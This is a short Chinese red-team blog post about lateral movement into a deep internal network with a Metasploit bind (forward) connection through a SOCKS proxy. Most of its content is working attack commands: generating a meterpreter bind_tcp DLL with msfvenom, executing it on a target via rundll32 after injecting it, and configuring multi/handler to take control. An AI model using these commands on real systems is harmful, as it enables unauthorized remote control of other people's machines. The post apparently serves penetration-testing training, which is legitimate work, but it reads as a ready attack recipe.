内网深层穿透之metasploit正向连接

最新推荐文章于 2024-06-21 18:12:08 发布

5号黯区

最新推荐文章于 2024-06-21 18:12:08 发布

阅读量987

点赞数

分类专栏：红队攻防

本文链接：https://blog.csdn.net/iverson1180/article/details/104186834

版权

6 篇文章 2 订阅

订阅专栏

来自：5号黯区
5号黯区是一支致力于红队攻防研究与培训的团队，官网：http://www.dark5.net

深层内网无法转发出来，所以就用了代理加正向。
多层内网下的穿透，第一层建立反向Socks代理，把MSF代入代理去连接处在第二层的机器。

生成：
msfvenom -p windows/x64/meterpreter/bind_tcp LHOST=0.0.0.0 LPORT=4433 -f dll >/root/meterpreter_bind_tcp_x64_4433.dll

通过各种手法注入到第二层的目标机器：
rundll32.exe meterpreter_bind_tcp_x64_4433.dll Start

连接：

use exploit/multi/handler 
set payload windows/x64/meterpreter/bind_tcp
show options 
set lport 4433
set rhost <Target_ip>
run

5号黯区是一支致力于红队攻防研究与培训的团队，官网：http://www.dark5.net

5号黯区是一支致力于红队攻防研究与培训的团队，官网：http://www.dark5.net

关注